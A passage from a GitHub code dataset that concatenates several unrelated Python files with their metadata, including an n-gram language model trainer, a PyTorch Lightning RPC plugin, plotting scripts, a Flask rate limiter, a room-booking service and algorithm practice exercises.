Name...\")\n\n# ===========================================================================================================================\n\ndef ngrams_data_process(filepath, n, tokenizer, vocab):\n raw_lang_iter = iter(io.open(filepath, encoding=\"utf8\"))\n data = [] # ; ctr = 0\n assert n > 1, \"Atleast BiGrams Possible\"\n for raw_sent in raw_lang_iter:\n # ADDing HERE STARTING (n-1) AND ENDING TAGS...\n token_lst = tokenizer(raw_sent)\n if len(token_lst) >= n:\n tokens_lst = [BOS_IDX]+[vocab[token]\n for token in token_lst] # +[EOS_IDX] [BOS_IDX]*abs(n-2)+\n else:\n continue\n grams_lst = list(ngrams(tokens_lst, n))\n for gram in grams_lst:\n data.append(list(gram))\n # gram_tensor = torch.tensor(gram, dtype=torch.long)\n # ctr += 1\n print(f\"Total {n} Grams in {filepath.split('/')[-1]} = \", len(data))\n return data\n\n\nn_gram_n = 5\nif args.lang == \"ENGLISH\":\n train_data = ngrams_data_process(\n path+\"train.europarl\", n_gram_n, en_tokenizer, en_vocab)\n val_data = ngrams_data_process(\n path+\"dev.europarl\", n_gram_n, en_tokenizer, en_vocab)\n test_data = ngrams_data_process(\n path+\"test.europarl\", n_gram_n, en_tokenizer, en_vocab)\nelif args.lang == \"FRENCH\":\n train_data = ngrams_data_process(\n path+\"train.news\", n_gram_n, fr_tokenizer, fr_vocab)\n val_data = ngrams_data_process(\n path+\"dev.news\", n_gram_n, fr_tokenizer, fr_vocab)\n test_data = ngrams_data_process(\n path+\"test.news\", n_gram_n, fr_tokenizer, fr_vocab)\n\n# ===========================================================================================================================\n\n\ndef generate_batch(data_batch):\n input_ngram, target = [], []\n for tensorGram in data_batch:\n # n-1 words from tuple as input and rest one for target--> Indexing Starts from One\n input_ngram.append(tensorGram[:-1])\n target.append(tensorGram[-1])\n # No need for paading as all TensorGram are of identical length...\n return torch.tensor(input_ngram, dtype=torch.long), torch.tensor(target, dtype=torch.long)\n\n# ===========================================================================================================================\n\n\n# Batch Size...\nBATCH_SIZE = 256\n\ntrain_iter = DataLoader(train_data, batch_size=BATCH_SIZE,\n shuffle=True, collate_fn=generate_batch)\nval_iter = DataLoader(val_data, batch_size=BATCH_SIZE,\n shuffle=True, collate_fn=generate_batch)\ntest_iter = DataLoader(test_data, batch_size=BATCH_SIZE,\n shuffle=True, collate_fn=generate_batch)\n\n# ===========================================================================================================================\n\ndef train(model: nn.Module, iterator: torch.utils.data.DataLoader, optimizer: optim.Optimizer, criterion: nn.Module, clip: float):\n \"\"\"Train the NNLM model\"\"\"\n model.train()\n\n epoch_loss = epoch_acc = 0\n\n for _, (src, trg) in enumerate(tqdm(iterator)):\n src, trg = src.to(device), trg.to(device)\n\n optimizer.zero_grad()\n\n model_output, _ = model(src)\n # Reshaping the Target from (batch_size, 1) to (batch_Size,) ---> Squeezing\n trg = trg.view(-1)\n loss = criterion(model_output, trg)\n loss.backward()\n\n # BAtch Accuracy\n epoch_acc += 100*(model_output.argmax(dim=1) == trg).float().mean()\n\n torch.nn.utils.clip_grad_norm_(model.parameters(), clip)\n\n optimizer.step()\n\n epoch_loss += loss.item()\n # print(f\"Epoch Loss = {loss.item()}.\\n\\n\")\n return epoch_loss / len(iterator), (epoch_acc/len(iterator)).cpu()\n\n\n# ===========================================================================================================================\n\ndef evaluate(model: nn.Module, iterator: torch.utils.data.DataLoader, criterion: nn.Module):\n\n model.eval()\n\n epoch_loss = epoch_acc = 0\n\n with torch.no_grad():\n\n for _, (src, trg) in enumerate(tqdm(iterator)):\n src, trg = src.to(device), trg.to(device)\n\n output, _ = model(src)\n trg = trg.view(-1)\n loss = criterion(output, trg)\n\n # Calculate Barch Accuracy\n epoch_acc += 100*(output.argmax(dim=1) == trg).float().mean()\n\n epoch_loss += loss.item()\n\n return epoch_loss / len(iterator), (epoch_acc/len(iterator)).cpu()\n\n\n# ===========================================================================================================================\n# Define Hyper-Parameters of MOdel\nEMB_DIM = 512\nHID_DIM = 256\nNUM_STACKS = 2\nDROPOUT = 0.5\nLEARNING_RATE = 0.001\n\nmodel = NNLM(VOCAB_SIZE=VOCAB_SIZE, emb_dim=EMB_DIM, enc_hid_dim=HID_DIM,\n num_stacks=NUM_STACKS, dropout=DROPOUT).to(device)\n\n#criterion = nn.CrossEntropyLoss()\ncriterion = nn.NLLLoss()\n\n# To initialize weights manually\ndef init_weights(m: nn.Module):\n for name, param in m.named_parameters():\n if 'weight' in name:\n nn.init.normal_(param.data, mean=0, std=0.01)\n else:\n nn.init.constant_(param.data, 0)\n\n\ndef count_parameters(model: nn.Module):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n\n# Fine-Tune the Model\n# model.apply(init_weights)\noptimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE, amsgrad=True)\nscheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=6, gamma=0.1, last_epoch=-1, verbose=False)\n#ReduceLROnPlateau(optimizer, mode='min', patience=5, factor=0.1)\nprint(f'The model has {count_parameters(model):,} trainable parameters')\n\n# ===========================================================================================================================\n\n\ndef epoch_time(start_time: int, end_time: int):\n elapsed_time = end_time - start_time\n elapsed_mins = int(elapsed_time / 60)\n elapsed_secs = int(elapsed_time - (elapsed_mins * 60))\n return elapsed_mins, elapsed_secs\n\n\nN_EPOCHS = 100\nEARLY_STOP = 0\nCLIP = 1\nctr = 0\nPATIENCE = 10\n\nbest_valid_loss = float('inf')\ntrain_loss_lst, val_loss_lst, train_acc_lst, val_acc_lst = [], [], [], []\nfor epoch in range(N_EPOCHS):\n\n start_time = time.time()\n\n train_loss, train_acc = train(model, train_iter, optimizer, criterion, CLIP)\n valid_loss, val_acc = evaluate(model, val_iter, criterion)\n\n # Scheduler Step\n scheduler.step() # valid_loss when other schedulers are there\n\n end_time = time.time()\n\n epoch_mins, epoch_secs = epoch_time(start_time, end_time)\n\n print(\n f'\\nEpoch: {epoch+1:02}/{N_EPOCHS} | Time: {epoch_mins}m {epoch_secs}s')\n print(f'\\tTrain Loss: {train_loss:.9f} | Train Accuracy: {train_acc:7.9f}')\n print(f'\\t Val. Loss: {valid_loss:.9f} | Val Accuracy: {val_acc:7.9f}')\n train_loss_lst.append(train_loss)\n train_acc_lst.append(train_acc)\n val_loss_lst.append(valid_loss)\n val_acc_lst.append(val_acc)\n EARLY_STOP += 1\n if valid_loss < best_valid_loss:\n best_valid_loss = valid_loss\n torch.save(model, f'./models/NNLM_{args.model_number}.pth')\n print(\"Improved! Model Saved...\\n\\n\")\n ctr = 0\n else:\n ctr += 1\n print(\"\\n\\n\")\n if ctr > PATIENCE:\n break\ntest_loss, test_acc = evaluate(model, test_iter, criterion)\n\n# | Test PPL: {math.exp(test_loss):7.3f} |\nprint(f'| Test Loss: {test_loss:.3f} | Test Accuracy: {test_acc:7.3f}')\n\n# Plot the model...\nplt.figure(figsize=(20, 20))\nplt.subplot(2, 1, 1)\nplt.plot([k for k in range(1, EARLY_STOP+1)],\n train_loss_lst, 'r', label=\"Train Loss\")\nplt.plot([k for k in range(1, EARLY_STOP+1)],\n val_loss_lst, 'b', label=\"Val Loss\")\nplt.title(\"Loss\")\nplt.legend(loc=\"best\")\nplt.subplot(2, 1, 2)\nplt.plot([k for k in range(1, EARLY_STOP+1)],\n train_acc_lst, 'r', label=\"Train Acc\")\nplt.plot([k for k in range(1, EARLY_STOP+1)],\n val_acc_lst, 'b', label=\"Val Acc\")\nplt.title(\"Accuracy\")\nplt.legend(loc=\"best\")\nplt.savefig(f\"./plots/NNLM_{args.model_number}.png\", dpi=300)\n\n# Save params .txt file.\nwith open(f\"./models/NNLM_{args.model_number}.txt\", \"w\") as f:\n f.write(f\"Language = {args.lang}\\n\")\n f.write(f\"Batch Size = {BATCH_SIZE}\\n\")\n f.write(f\"n (no. of grams) = {n_gram_n}\\n\")\n f.write(f\"Learning Rate = {LEARNING_RATE}\\n\")\n f.write(f\"Patience to Early Stop the Model = {PATIENCE}\\n\")\n f.write(f\"Vocab Size = {VOCAB_SIZE}\\n\")\n f.write(f\"Embedding Dimension = {EMB_DIM}\\n\")\n f.write(f\"Encoding Hidden Dimension = {HID_DIM}\\n\")\n f.write(f\"No. of Stacked Layers in GRU = {NUM_STACKS}\\n\")\n f.write(f\"Dropout = {DROPOUT}\\n\")\n f.write(f\"Early Stopping happened at Step = {EARLY_STOP}\\n\")\n f.write(f\"Number of Epochs = {N_EPOCHS}\\n\")\n f.write(f\"\\n\")\n","repo_name":"rodosingh/Intro-NLP-IIITH","sub_path":"Assignments/Assignment-3/2021701010_assignment3/NNLM.py","file_name":"NNLM.py","file_ext":"py","file_size_in_byte":10971,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"72859284702","text":"import os\nfrom contextlib import suppress\nfrom typing import Optional\n\nimport torch\n\nfrom pytorch_lightning.core.lightning import LightningModule\nfrom pytorch_lightning.plugins.ddp_plugin import DDPPlugin\nfrom pytorch_lightning.utilities import RPC_AVAILABLE\n\nDEFAULT_RPC_TIMEOUT_SEC = 60.\nif RPC_AVAILABLE:\n from torch.distributed import rpc\n with suppress(ModuleNotFoundError, ImportError):\n from torch.distributed.rpc.constants import DEFAULT_RPC_TIMEOUT_SEC\n\n\nclass RPCPlugin(DDPPlugin):\n \"\"\"\n Backbone for RPC Plugins built on top of DDP.\n RPC introduces different communication behaviour than DDP. Unlike DDP, processes potentially are not\n required to run the same code as the main process.\n This leads to edge cases where logic needs to be re-defined. This class contains special cases\n that need to be addressed when using RPC communication when building custom RPC Plugins.\n \"\"\"\n\n def __init__(self, rpc_timeout_sec: float = DEFAULT_RPC_TIMEOUT_SEC, **kwargs):\n self.rpc_timeout_sec = rpc_timeout_sec\n self.rpc_initialized = False\n super().__init__(**kwargs)\n\n def init_rpc_connection(self,\n global_rank: int,\n world_size: int) -> None:\n os.environ['MASTER_PORT'] = os.getenv('RPC_MASTER_PORT', '15000')\n rpc.init_rpc(f\"worker{global_rank}\", rank=global_rank, world_size=world_size)\n rpc._set_rpc_timeout(self.rpc_timeout_sec)\n self.rpc_initialized = True\n\n def rpc_save_model(self,\n save_model_fn,\n last_filepath,\n trainer,\n pl_module) -> None:\n \"\"\"\n Override to save model to disk.\n This is required as the main process will be required to handle aggregating model states from RPC processes.\n Args:\n save_model_fn: The saving function to save final model.\n last_filepath: The filepath to save the model to.\n trainer: The trainer object.\n pl_module: The LightningModule.\n \"\"\"\n raise NotImplementedError\n\n def on_main_rpc_connection(self, trainer) -> None:\n \"\"\"\n Called when main rpc connection has been established.\n Args:\n trainer: The trainer object.\n \"\"\"\n raise NotImplementedError\n\n def on_accelerator_exit_rpc_process(self, trainer) -> None:\n \"\"\"\n Called to exit RPC process within the accelerator, that is being managed by main process.\n Args:\n trainer: The trainer object.\n \"\"\"\n self.exit_rpc_process()\n\n def exit_rpc_process(self):\n if self.rpc_initialized:\n torch.distributed.rpc.shutdown()\n self.rpc_initialized = False\n\n @property\n def return_after_exit_rpc_process(self) -> bool:\n \"\"\"\n Override to decide whether to skip train/test function after shutdown completed.\n Usually RPC shutdown is a join/exit function, afterwards we want to exit the process.\n Returns: Whether to return after rpc exit.\n \"\"\"\n raise NotImplementedError\n\n def worker_optimizer_step(self,\n model: LightningModule,\n opt_idx: int,\n *args,\n **kwargs) -> None:\n \"\"\"\n Called when optimizer step is run on the main process. Used to signal any RPC workers to run optimizer step.\n Args:\n model: The LightningModule.\n opt_idx: The idx of the optimizer to carry out step on.\n \"\"\"\n raise NotImplementedError\n\n @property\n def is_main_rpc_process(self) -> bool:\n \"\"\"\n Override to add logic to determine current process is main RPC process.\n \"\"\"\n raise NotImplementedError\n\n def barrier(self, name: Optional[str] = None) -> None:\n \"\"\"\n Override to define distributed sync communication. This needs to be handled differently due to\n the RPC connection managing certain processes at the same time.\n \"\"\"\n raise NotImplementedError\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/contrib/cv/classification/Centroids-reid/pytorch_lightning/plugins/rpc_plugin.py","file_name":"rpc_plugin.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"14858762892","text":"from math import *\nfrom grapher import *\n\ndef rotatex(angle,pro):\n c, s = cos(angle), sin(angle)\n ro = [[1,0,0], [0,c, -s], [0, s, c]]\n qro = [ [r[0]*pro[0][0]+r[1]*pro[1][0]+r[2]*pro[2][0],\n r[0]*pro[0][1]+r[1]*pro[1][1]+r[2]*pro[2][1]]\n for r in ro]\n return qro\ndef rotatey(angle,pro):\n c, s = cos(angle), sin(angle)\n ro = [[c, 0, -s], [0,1,0], [s, 0, c]]\n qro = [ [r[0]*pro[0][0]+r[1]*pro[1][0]+r[2]*pro[2][0],\n r[0]*pro[0][1]+r[1]*pro[1][1]+r[2]*pro[2][1]]\n for r in ro]\n return qro\ndef rotatez(angle,pro):\n c, s = cos(angle), sin(angle)\n ro = [[c,-s,0], [s, c, 0], [0,0,1]]\n qro = [ [r[0]*pro[0][0]+r[1]*pro[1][0]+r[2]*pro[2][0],\n r[0]*pro[0][1]+r[1]*pro[1][1]+r[2]*pro[2][1]]\n for r in ro]\n return qro\ndef cubic(t):\n return (t, t*t, t*t*t)\ndef pr(q):\n global PMAT\n return [q[0]*PMAT[0][0] + q[1]*PMAT[1][0] + q[2]*PMAT[2][0],\n q[0]*PMAT[0][1] + q[1]*PMAT[1][1] + q[2]*PMAT[2][1]]\n\nPMAT = [[0,0], [1,0], [0,-1]]\nPMAT = rotatey(pi/5, PMAT)\nPMAT = rotatez(pi/6, PMAT)\nprint( PMAT )\n\nqbicfront = [cubic(-1+k*0.02) for k in range(51)]\nqbicback = [cubic(k*0.02) for k in range(42)]\n\nsetViewBox(-2, -2, 2, 2)\nopenOutputFile(\"03osculating\", 400)\n\nlinewidth(0.5)\nline(pr([0,-1,0]), pr([0,1,0]))\nlinewidth(0.25)\nfor q in qbicback:\n polygonA([pr(q), pr([q[0] , q[1], 0]), pr([q[0] , 0, 0])])\n\nfor q in qbicfront:\n linewidth(0.5)\n setrgbcolor('white')\n polygonA([pr([0, q[1],q[2]]),\n pr(q),\n pr([q[0] , q[1], 0]),\n pr([q[0] , 0, 0])])\n linewidth(0.25)\n setrgbcolor('gray')\n polygonA([pr([0, q[1],q[2]]),\n pr(q),\n pr([q[0] , q[1], 0]),\n pr([q[0] , 0, 0])])\nlinewidth(1)\nsetrgbcolor('black')\npolygonA([pr(q) for q in qbicback])\npolygonA([pr(q) for q in qbicfront])\nlinewidth(0.5)\nline(pr([-1,0,0]), pr([1,0,0]))\npolygonA([pr([0,q[1],q[2]]) for q in qbicfront])\npolygonA([pr([q[0],q[1],0]) for q in qbicfront])\npolygonA([pr([q[0],q[1],0]) for q in qbicback])\nlinewidth(2)\nsetrgbcolor('white')\nline(pr([0,0,-1]), pr([0,0,-0.1]))\nlinewidth(0.5)\nsetrgbcolor('black')\nline(pr([0,0,-1]), pr([0,0,1]))\ncloseOutputFile()\n\n\n","repo_name":"SigurdAngenent/WisconsinCalculus","sub_path":"figures/234/03osculating.py","file_name":"03osculating.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"71081290783","text":"from sqlalchemy import *\nfrom Database import engine\n\nconn = engine.connect()\n\n\ndef show_salary_statistics():\n query = '''select max(sal_to) as max from vacancy'''\n cursor = conn.execute(text(query))\n max_sal = 0\n for row in cursor:\n max_sal = row.max\n break\n segment = 5\n frac = max_sal / segment + 1\n low_sal = 1\n num = []\n sal_range = []\n for i in range(segment):\n low_sal = low_sal\n high_sal = low_sal + frac\n query = '''select count(*) as num from vacancy where sal_to >''' + str(low_sal)+ ' and ' + 'sal_to < ' + str(high_sal)\n cursor = conn.execute(text(query))\n for row in cursor:\n num.append(int(row.num))\n sal_range.append('Salary from: ' + str(low_sal) + ' to ' + str(high_sal))\n break\n low_sal = high_sal + 1\n numsum = float(sum(num))\n for i in range(len(num)):\n num[i] = float(num[i]) / float(numsum) * 100\n return num, sal_range\n\n","repo_name":"XiplusChenyu/NYC-Job-Search-Web-App","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"18041202306","text":"#!/usr/bin/env python3\n# program to evaluate and plot polyco.\n\n\nfrom __future__ import print_function, division\nimport optparse\n#import matplotlib\nfrom matplotlib import pyplot\nimport numpy\n\n\nusage = \"\"\"%prog [options] \nplots the contents of polyco in \n\"\"\"\n\nparser = optparse.OptionParser(usage=usage, version=\"%prog \" + \"1.0\")\nparser.add_option(\n \"--outfile\", \"-o\",\n type=\"str\", dest=\"outfile\", default=None,\n help=\"outfile\")\nparser.add_option(\n \"-n\",\n type=\"int\", dest=\"npolyco\", default=0,\n help=\"Print Nth polyco value instead of 0th\")\n(options, args) = parser.parse_args()\nif len(args) < 1:\n parser.print_help()\n parser.error(\"give a file name\")\n\npolyco_filename = args[0]\np = options.npolyco\n\npulsar = []\ndate = []\nutc = []\ntmid = []\ndm = []\ndoppler = []\nresidual = []\nrphase = []\nf0 = []\nobs = []\nspan = []\nobs_freq = []\nbinary_phase = []\ncoeffs = []\n\n#polyco_file = open(polyc_filename).readlines()\n# parse the polyco file and build up list of coefficients\n# Note that DiFX splits lines on whitespace, not column number as the polyco\n# docs would suggest.\nwith open(polyco_filename) as polyco_file:\n # assume 12 coeffs for start - will update when read line\n ncoeff = 12\n coeff = []\n for lineno, line in enumerate(polyco_file):\n line = line.rstrip()\n values = line.split()\n p_line = lineno % (2+ncoeff//3)\n if p_line == 0:\n pulsar.append(values[0])\n date.append(values[1])\n utc.append(values[2])\n tmid.append(float(values[3]))\n dm.append(float(values[4]))\n doppler.append(float(values[5]))\n residual.append(float(values[6]))\n elif p_line == 1:\n rphase.append(float(values[0]))\n f0.append(float(values[1]))\n obs.append(values[2])\n span.append(int(values[3]))\n ncoeff = int(values[4])\n obs_freq.append(float(values[5]))\n if len(values) > 6:\n binary_phase.append(float(values[6]))\n else:\n coeff.append(float(values[0]))\n coeff.append(float(values[1]))\n coeff.append(float(values[2]))\n if p_line == 1+ncoeff//3:\n coeffs.append(coeff)\n coeff = []\n\n# print values of a representative polyco entry, for visual check\nprint (\n pulsar[p], date[p], utc[p], tmid[p], dm[p], doppler[p], residual[p],\n rphase[p], f0[p], obs[p], span[p], obs_freq[p], end=\" \")\nif binary_phase:\n print (binary_phase[p])\nprint (coeffs[p])\n\nphases = []\ntimes = []\n# evaluate the polyco phase as a function of time\nfor i in range(len(rphase)):\n start = tmid[i]\n end = tmid[i] + span[i]/(24.*60.)\n step = 1./(24.*60.)\n for time in numpy.arange(start, end, step):\n dt = (time - tmid[i])*1440.\n coeff_sum = 0\n for ci in range(len(coeffs[i])):\n coeff_sum += dt**(ci) * coeffs[i][ci]\n phase = rphase[i] + dt*60.*f0[i] + coeff_sum\n phases.append(phase)\n times.append(time)\n\n#pyplot.tight_layout()\n\npyplot.subplot(2, 1, 1)\npyplot.plot(times, phases, ',', label=\"Polyco phase\")\npyplot.legend(loc=\"best\")\npyplot.ylabel(\"Phase\")\n\npoly_fit = numpy.polyfit(times, phases, 1)\npoly_eval = numpy.array(phases) - numpy.polyval(poly_fit, times)\npyplot.subplot(2, 1, 2)\npyplot.plot(times, poly_eval, ',', label=\"Residual to Linear fit\")\npyplot.legend(loc=\"best\")\npyplot.xlabel(\"MJD\")\n\nif options.outfile is not None:\n pyplot.savefig(options.outfile)\nelse:\n pyplot.show()\npyplot.close()\n","repo_name":"difx/difx","sub_path":"applications/espresso/plot_polyco.py","file_name":"plot_polyco.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"25026260898","text":"number = input()\nhours = input()\nsalary_hour = input()\ncurrency= input()\nSALARY = int(hours) * float(salary_hour)\nsymbol = 'U$'\n\nif currency.lower() == 'real':\n symbol = 'R$'\n\n\nprint(f'NUMBER = {number}')\nprint(f'SALARY = {symbol} {format(SALARY, \".2f\")}')\n","repo_name":"samyra-ramos/programacao1","sub_path":"problem7.py","file_name":"problem7.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24813974077","text":"from redis import Redis\nredis = Redis()\n\nimport time\nfrom functools import update_wrapper\nfrom flask import request, g\nfrom flask import Flask, jsonify \n\napp = Flask(__name__)\n\n\n\n\n\nclass RateLimit(object):\n expiration_window = 10\n\n def __init__(self, key_prefix, limit, per, send_x_headers):\n self.reset = (int(time.time()) // per) * per + per\n self.key = key_prefix + str(self.reset)\n self.limit = limit\n self.per = per\n self.send_x_headers = send_x_headers\n p = redis.pipeline()\n p.incr(self.key)\n p.expireat(self.key, self.reset + self.expiration_window)\n self.current = min(p.execute()[0], limit)\n\n remaining = property(lambda x: x.limit - x.current)\n over_limit = property(lambda x: x.current >= x.limit)\n\ndef get_view_rate_limit():\n return getattr(g, '_view_rate_limit', None)\n\ndef on_over_limit(limit):\n return (jsonify({'data':'You hit the rate limit','error':'429'}),429)\n\ndef ratelimit(limit, per=300, send_x_headers=True,\n over_limit=on_over_limit,\n scope_func=lambda: request.remote_addr,\n key_func=lambda: request.endpoint):\n def decorator(f):\n def rate_limited(*args, **kwargs):\n key = 'rate-limit/%s/%s/' % (key_func(), scope_func())\n rlimit = RateLimit(key, limit, per, send_x_headers)\n g._view_rate_limit = rlimit\n if over_limit is not None and rlimit.over_limit:\n return over_limit(rlimit)\n return f(*args, **kwargs)\n return update_wrapper(rate_limited, f)\n return decorator\n\n\n\n\n\n@app.after_request\ndef inject_x_rate_headers(response):\n limit = get_view_rate_limit()\n if limit and limit.send_x_headers:\n h = response.headers\n h.add('X-RateLimit-Remaining', str(limit.remaining))\n h.add('X-RateLimit-Limit', str(limit.limit))\n h.add('X-RateLimit-Reset', str(limit.reset))\n return response\n\n@app.route('/rate-limited')\n@ratelimit(limit=300, per=30 * 1)\ndef index():\n return jsonify({'response':'This is a rate limited response'})\n\nif __name__ == '__main__':\n\tapp.secret_key = 'super_secret_key'\n\tapp.debug = True\n\tapp.run(host = '0.0.0.0', port = 5000)","repo_name":"udacity/APIs","sub_path":"Lesson_4/12_Rate Limiting/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":257,"dataset":"github-code","pt":"7"} +{"seq_id":"7885287599","text":"from dao.room import Room\n\n\nclass RoomService:\n\n def __init__(self):\n self.rooms = []\n\n def add_room(self, id, meta_data):\n room = Room(id, meta_data)\n self.rooms.append(room)\n return room\n\n \"\"\"\n self.ids = []\n self.meta_data = None\n self.is_free = False\n self.timeSlot = None\n\n self.is_projector_present = False\n self.is_white_board_present = False\n \n \"\"\"\n def search_room(self, bookings, search_room_request):\n potentials_rooms = {}\n if search_room_request.meta_data:\n meta_data = search_room_request.meta_data\n for room in self.rooms:\n is_valid = True\n if meta_data.capacity and meta_data.capacity > room.meta_data.capacity:\n is_valid = False\n\n if meta_data.is_projector_present and not room.meta_data.is_projector_present:\n is_valid = False\n\n if meta_data.is_white_board_present and not room.meta_data.is_white_board_present:\n is_valid = False\n\n if is_valid:\n potentials_rooms[room.id] = {\n 'is_valid': True,\n 'room': room\n }\n\n for booking in bookings:\n if self.is_overlap(booking.timeSlot, search_room_request.timeSlot):\n if booking.room in potentials_rooms:\n potentials_rooms[booking.room]['is_valid'] = False\n\n rooms = []\n for item in potentials_rooms.items():\n if item[1]['is_valid']:\n rooms.append(item[1]['room'])\n return rooms\n\n\n\n def is_overlap(self, firstSlot, secondSlot):\n return firstSlot.startTime > secondSlot.endTime or firstSlot.endTime > secondSlot.startTime\n","repo_name":"utkarsh-singhal/BookingSystemDesign","sub_path":"service/roomservice.py","file_name":"roomservice.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4874238726","text":"import numpy\ndef arrays(arr):\n for i in range(len(arr)):\n arr[i] =float(arr[i])\n # print(arr)\n \n arr.reverse()\n # print(b)\n a = numpy.array(arr)\n return a\narr = input().strip().split(' ')\n# print(arr)\nresult = arrays(arr)\nprint(result)","repo_name":"vivaan19/Coding","sub_path":"Python/Gen-programs/Python_Hackerrank/Numpy Module/03_numpy.py","file_name":"03_numpy.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24371842986","text":"# O(n^2) Time | O(n) Space\r\nimport unittest\r\nfrom collections import deque\r\nfrom os import curdir\r\n\r\n\r\ndef threeSum(array, target):\r\n array.sort()\r\n output = []\r\n\r\n for idx, num in enumerate(array):\r\n required = target - num\r\n start, end = idx + 1, len(array) - 1\r\n while start < end:\r\n firstElement = array[start]\r\n secondElement = array[end]\r\n if firstElement + secondElement == required:\r\n output.append([num, firstElement, secondElement])\r\n start += 1\r\n end -= 1\r\n elif firstElement + secondElement < required:\r\n start += 1\r\n elif firstElement + secondElement > required:\r\n end -= 1\r\n return output\r\n\r\n\r\nclass Node:\r\n def __init__(self, value) -> None:\r\n self.value = value\r\n self.next = None\r\n self.prev = None\r\n\r\n\r\nclass DoublyLinkedList:\r\n def __init__(self):\r\n self.head = None\r\n self.tail = None\r\n\r\n # O(n) Time | O(1) Space\r\n def containsNodeWithValue(self, value) -> bool:\r\n node = self.head\r\n while node is not None and node.value != value:\r\n node = node.next\r\n return node is not None\r\n\r\n def remove(self, nodeToRemove):\r\n if nodeToRemove == self.head:\r\n self.head = self.head.next\r\n if nodeToRemove == self.tail:\r\n self.tail = self.tail.prev\r\n self.removeNodeWithBindings(nodeToRemove)\r\n\r\n def removeNodeWithBindings(self, nodeToRemove):\r\n if nodeToRemove.prev is not None:\r\n nodeToRemove.prev.next = nodeToRemove.next\r\n if nodeToRemove.next is not None:\r\n nodeToRemove.next.prev = nodeToRemove.prev\r\n nodeToRemove.prev = None\r\n nodeToRemove.next = None\r\n\r\n def removeNodeWithValue(self, value):\r\n node = self.head\r\n while node is not None:\r\n nodeToRemove = node\r\n node = node.next\r\n if nodeToRemove.value == value:\r\n self.remove(nodeToRemove)\r\n\r\n def insertBefore(self, node, nodeToInsert):\r\n if self.head == nodeToInsert and nodeToInsert == self.tail:\r\n return\r\n self.remove(nodeToInsert)\r\n nodeToInsert.prev = node.prev\r\n nodeToInsert.next = node\r\n if node.prev is not None:\r\n node.prev.next = nodeToInsert\r\n else:\r\n self.head = nodeToInsert\r\n node.prev = nodeToInsert\r\n\r\n def insertAfter(self, node, nodeToInsert):\r\n if self.head == nodeToInsert and self.tail == nodeToInsert:\r\n return\r\n self.remove(nodeToInsert)\r\n nodeToInsert.next = node.next\r\n nodeToInsert.prev = node\r\n if node.next is None:\r\n self.tail = nodeToInsert\r\n else:\r\n node.next.prev = nodeToInsert\r\n node.next = nodeToInsert\r\n\r\n def insertAtPosition(self, position, nodeToInsert):\r\n if position == 1:\r\n self.setHead(nodeToInsert)\r\n return\r\n node = self.head\r\n currPosition = 1\r\n while node is not None and currPosition != position:\r\n currPosition += 1\r\n node = node.next\r\n if node is not None:\r\n self.insertBefore(node, nodeToInsert)\r\n else:\r\n self.setTail(nodeToInsert)\r\n\r\n def setHead(self, node):\r\n if self.head is None:\r\n self.head = node\r\n self.tail = node\r\n return\r\n self.insertBefore(self.head, node)\r\n\r\n def setTail(self, node):\r\n if self.tail is None:\r\n self.setHead(node)\r\n return\r\n self.insertAfter(self.tail, node)\r\n\r\n def printList(self):\r\n node = self.head\r\n result = []\r\n while node is not None:\r\n result.append(node.value)\r\n node = node.next\r\n print(result)\r\n\r\n\r\n# O(nm) Time where n = row and m = col in matrix; O(mn) Space\r\n# We mst traverse all elements once and store the elements in an Auxiliary array\r\ndef spiralTraverse(array):\r\n rowStart, rowEnd = 0, len(array) - 1\r\n colStart, colEnd = 0, len(array[0]) - 1\r\n result = []\r\n\r\n while rowStart < rowEnd and colStart < colEnd:\r\n for col in range(colStart, colEnd + 1):\r\n result.append(array[rowStart][col])\r\n for row in range(rowStart + 1, rowEnd + 1):\r\n result.append(array[row][colEnd])\r\n for col in reversed(range(colStart, colEnd)):\r\n if rowStart == rowEnd:\r\n continue\r\n result.append(array[rowEnd][col])\r\n for row in reversed(range(rowStart + 1, rowEnd)):\r\n if colStart == colEnd:\r\n continue\r\n result.append(array[row][colStart])\r\n\r\n rowStart += 1\r\n rowEnd -= 1\r\n colStart += 1\r\n colEnd -= 1\r\n\r\n return result\r\n\r\n\r\ndef longestPeak(array):\r\n if len(array) < 3:\r\n return 0\r\n peaks = getPeaks(array)\r\n globalMax = 0\r\n for peak in peaks:\r\n currMax = 0\r\n start = peak\r\n while start - 1 >= 0 and array[start - 1] < array[start]:\r\n start -= 1\r\n\r\n end = peak\r\n while end + 1 <= len(array) - 1 and array[end + 1] < array[end]:\r\n end += 1\r\n\r\n currMax = end - start + 1\r\n globalMax = max(currMax, globalMax)\r\n\r\n return globalMax\r\n\r\n\r\ndef getPeaks(arr):\r\n peaks = []\r\n for i in range(1, len(arr) - 1):\r\n if arr[i - 1] < arr[i] > arr[i + 1]:\r\n peaks.append(i)\r\n return peaks\r\n\r\n\r\ndef smallestDifference(arr1, arr2):\r\n arr1.sort()\r\n arr2.sort()\r\n arrOneIdx, arrTwoIdx = 0, 0\r\n smallestGlobal = float(\"inf\")\r\n smallest = []\r\n\r\n while arrOneIdx < len(arr1) and arrTwoIdx < len(arr2):\r\n numberOne = arr1[arrOneIdx]\r\n numberTwo = arr2[arrTwoIdx]\r\n if numberOne > 